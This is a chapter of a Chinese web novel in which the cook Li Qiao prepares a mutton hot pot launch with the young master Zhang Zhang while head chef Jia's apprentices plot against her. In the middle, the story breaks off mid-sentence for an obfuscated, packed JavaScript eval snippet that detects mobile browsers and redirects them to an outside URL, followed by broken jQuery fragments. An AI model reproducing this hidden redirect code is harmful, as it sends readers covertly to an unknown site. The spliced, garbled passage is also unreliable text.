张璋的动作很快，等不及第二天，当日下午就抽空去了铁匠铺子。
没过几天，他找到了在厨房备菜的李荞，然后李荞就在库房的架子上看到了，摆放整齐的十几个小铜锅，走近仔细看了看，锅身上竟然还映有梅花、松竹等纹样，再加上通体金黄的锅体，倒不像是锅了，更像是一个精致的摆件儿。
李荞惊讶的看向张璋，这人摆了个潇洒风流的姿势，轻咳了两声，美其名曰，这样是为了更符合迎香阁的风格。
在心里翻了个白眼，总算知道为何卢世忠要吐槽这里附庸风雅了，一个涮菜的锅而已，都要做得如此精致，也是让李荞开了眼了。
锅已经准备好了，接下来就要准备推出这道菜了，思及此，张璋询问李荞：“那几名小二都培训的如何了？”马上就要立冬了，要想趁此时节将火锅推出，就得保证小二们在这之前就要掌握涮肉的技巧。
李荞：“基本上都没问题了，这几个小哥儿都个顶个的聪明，我拢共教了没两遍，就全都记住了。”
“光记住不行，我觉得最好还是拿笔记下来，让王管事每日都给小二们念一遍。”张璋手一挥，提出了另一个建议，说完才想起李荞，“你觉得如何？”
虽然选出的几个小二都是最机灵的，但是毕竟不是厨子，难保会出岔子，还是将这些需要注意的地方都记下来更为妥当。
李荞：“璋少爷说的是。”好记性不如烂笔头，这确实是一个很好的避免出错的法子，李荞没有异议。
“那行，万事俱备，就等着后天立冬，咱们就能将这火锅正式推出。”张璋一手背于身后，一手指着面前架子上的铜锅，语气里满是期待。
李荞：“还要等到立冬？这么有仪式感吗？”
张璋疑惑：“何为仪式感？”
“额，我的意思是为何要等到立冬，是有什么说法吗？”李荞自觉说错了话，立马就巧妙的转移了话题，还好张璋也习惯了李荞偶尔会冒出的天马行空的主意，所以没有追问。
说到这个问题，他的面上隐隐带了些自得的神情，“荞娘子，做菜方面我是不如你，但是要论酒楼的经营，我还是颇有一番见解的。”
“自古以来，立冬烹羊……”
他借此事打开了话匣子，开始长篇大论的赘述起来，刚听两句，李荞就有种自己在上文言文课的感觉，于是赶紧说自己还需要备菜，趁机遛了。
自己只管做菜，营销手段就交给张璋好了，所以自己也就不需要知道的那么详细了。
为了迎接即将到来的冬至，张璋每日忙得不亦乐乎，小到装蘸酱的碟子都要经他亲自挑选，王、严两位管事也深知这次的重要性，尽全力的配合着，所以迎香阁上上下下都严阵以待。
这样的氛围让小五都觉出了不对劲儿，“师傅，你研制的新菜璋少爷好重视啊，这几日酒楼里隆重的好似要过年一样。”小五一边洗菜一边和李荞说话。
“是吗？过年的时候也是这个样子吗？”李荞还没有在这里过过年呢，不知道会是个什么场景。
小五：“是啊，不过过年的时候还会更热闹一些，要挂灯笼，贴福字做装饰，管事还会给我们压岁钱呢。”想起去年过年的场景，他也有些期待那拿红纸包起来的十个铜板。
李荞看着眼前沉浸在回忆里的小五，默默的补了一句，“乖兔儿，今年师傅也给你发压岁钱。”
“真的啊，谢谢师傅！”小五听到后更开心了，洗菜的速度都快了起来。
李荞见状忍不住笑了笑，这孩子可真是单纯好骗啊。
一转眼，时间来到了冬至这天，培训好的小二在迎到客人后，都会异口同声的推荐酒楼的新菜品——涮羊肉火锅。
正值立冬，本就是吃羊肉的日子，一听这菜就来了了兴趣，再多问两句又会得知，这道菜是做炸鸡的厨子新研制出的，“哦？和那做炸鸡的是一个厨子啊，那我可得来一份尝尝了！”
有了先前炸鸡的口碑，涮羊肉火锅一经推出，便已经得到了客人的认可。
此时的李荞还不知客人对她的信任，正在厨房里准备着涮火锅的羊肉，她正在看着身边一个年轻的帮厨片着羊肉。
怕她今日忙不过来，张璋特意安排了一个帮厨，这样李荞才勉强能顾得过来。
而炸鸡和滑炒鱼片则只能继续拜托高大洪了，跟他说这件事时，李荞简直心虚的都不敢他的眼睛，毕竟总是平白的麻烦人家实在是有些过分了。
好在高大洪是个面冷心热的人，看着李荞和小五祈求的眼神，长叹了一口气之后，无奈的摇了摇头。
李荞见他应下了，感激的话不要钱似的向外冒，直说得高大洪将她撵走。
李荞悻悻的走回这边，年轻的帮厨不用她看着，就已经独立将羊肉片好了不少，自己只用过去指导一下摆盘了。
说到这个帮厨，虽说时张璋安排的，但却是严管事将他带过来的，此人叫做文才，是严管事外祖那边的一个表弟，听说这小子自小就喜欢待在厨房里，十岁出头就能鼓捣出一桌像模像样的饭菜，于是在他们当地也算小有名气。
他听说自己有个表哥在金陵的酒楼做管事，便动了要到这里闯荡的心思，可是金陵不比旁处。
在尝过他做的饭菜后，严管事便严肃的劝他打消这个念头，少年人的心气高，听不得这样浇冷水的话，他又是家里受宠的小儿子，于是严管事抵不过外祖母的祈求，还是硬着头皮将他带到了迎香阁。
这小伙子做的饭菜在他们当地算是拔尖儿，但是到了这里显然就不够看了，只是他的刀工还算不错，就看在严管事的面子，留他做了个帮厨。
严管事事后曾问他是否还要坚持留下来，初受打击，一张稚气未脱的脸涨得通红，但他只是攥紧了拳头咬了咬后牙，还是选择了留下来。
厨房是贾大厨的领地，除了东家他谁也不放在眼里，严管事也无法事事周道，初出茅庐的小伙子在接连吃了几次暗亏之后，倒是将骄傲的性子磨砺的稳重了不少。
李荞进入迎香阁以来的表现，严管事看在眼里，知道她的潜力还不止于此，在和文才交谈过之后，才趁此机会将他推荐了过来。
“嗯，你片的很好，就得这样薄才行，咱们这个肉片是要涮着吃的，千万不能太厚，影响口感不说，也不容易熟，这样就会加长客人等待的时间。”李荞在文才身边看他切肉，然后顺手演示给他看要怎么摆盘。
这小伙子的刀工确实不错，李荞眼看不用自己再操心后，专心的准备搭配火锅的糖蒜和麻酱烧饼去了。
糖蒜是前几日就腌好了的，此刻拿出来就能直接摆盘，而麻酱烧饼则是需要现烤，还好迎香阁的厨房很大，灶台多不说，连烤炉都有两个，这就正好方便了李荞。
没有烧饼桶的烧饼自然不是那么容易做出来的，前几次的失败差点让李荞萌生放弃的念头，还好旁边一个厨子随口提醒了一句，“洒点水试试。”让李荞摸到了成功的门框。
等到第一锅烧饼成功出炉的时刻，看着个个金黄酥脆的外壳，心想，真是不容易啊！
这几日还没少受其他人的嘲笑，还好李荞没把
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678418|185310||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他们放在眼里，虽然大部分厨子都是跟随贾大厨的，但也有如高大洪之类的零星几个没有随波逐流的人。
李荞做烧饼这几日倒是与他们多一些交流的机会，他们也都是有几个拿手菜的，只是不够热门，于是没有什么出头的机会，但是他们却没有选择依附贾大厨，只是矜矜业业做着自己的菜，对待李荞也是羡慕居多，没有什么恶意和嘲笑。
但是追随贾大厨的那帮人，几乎被他们垄断整个酒楼的热门菜单，其他人只占据着小小的角落部分，李荞一来就直接上了红榜，毫不意外的成为他们的眼中钉。
炸鸡刚推出时，李荞风头正盛，贾大厨也没有表态，他们不敢暗自操作，所以很是偃旗息鼓里一段时日。
但这回张璋大张旗鼓的准备，又让他们眼红不已，纷纷又闻风而动，就在冬至的前一日中午，一行又聚在了贾大厨的屋子里。
“师傅，您还说这女人翻不出什么花样，我瞧她都快骑到你的头上去了。”一个看着眼圈下青黑一片，样子有点猥琐的年轻人说道。
“老四，怎么和师傅说话呢。”一声呵斥让刚才的年轻人不敢作声，这会说话人看着要年长一些。
“行了，别说老四了，我知道他心里憋屈。”贾大厨看着眼前的两个徒儿，终于是开口了。
那年轻人得了贾大厨的一句庇护，反而变本加厉起来，“就是，就是，还是师傅知道我的心思，这女人着实太嚣张了，她才来了几天啊，就要那么多人给她打下手，她算老几啊。”
一想起张璋不光给她配了个小学徒，还让高大洪给她做炸鸡，今日严管事还又给她安排了一个帮厨，这待遇连他自己都没有，他到酒楼也快有六七年了，自己还是贾大厨的亲传徒弟呢。
“我觉得这也情有可原吧，她一个人实在是忙不过来，再说了，这也是为了酒楼好啊。”出声的是一个坐得有些偏的胖子，他刚从老家探亲回来，只和李荞有过两次点头之交，没觉得她有多嚣张啊。
“老二，就你是个好人，你非要这女人到时候把你挤走了才好。”这个猥琐的年轻人闻言怒意更盛，直接转过头瞪着这个胖子。
“老四，好歹是你二师兄，不可无理。”刚刚那个年长一些的人开口劝道。
这人闻言，不耐烦的哧了一声，到底是没说话了。
“大厨，各位主厨，那咱们这到底该怎么办呢？难道就任由这女人继续嚣张下去？”说话的这人也是常常跟在贾大厨身边鞍前马后的，就希望能得些好处，他也是不希望李荞冒头的。
众人皆不作声了，纷纷看向坐在屋子中间的贾大厨。
听了几人的话，他心里已有定论，虽然到现在他也没将李荞放在眼里，但李荞近期的行为着实有些惹眼，毕竟迎香阁的招牌菜只能出自自己之手，弄走她既是众望所归，也省得自己碍眼，但是在这几人的面前，他还是摆出了一副道貌岸然的样子。
“我老了，这厨房迟早要交到你们年轻人手上的，只是没想到你们不争气啊，平白被这个乡下来的女人压了一头，能咽得下这口气？”
“只能怪你们技不如人了，如今她的菜受到追捧，自然也成了几个管事的心头肉，可不是什么好的都紧着她嘛。”
“只怕再过不久，我手中的这把锅铲都交不到你们手中咯。”
“罢了，罢了，不说了。”说完不等几人反应，就让大家都出去了。
众人听话的退出来了，但每人都是神色各异，有的愤愤不平，有的面带羞愧，而那个猥琐的年轻人，眼神中闪烁着是意味不明的光。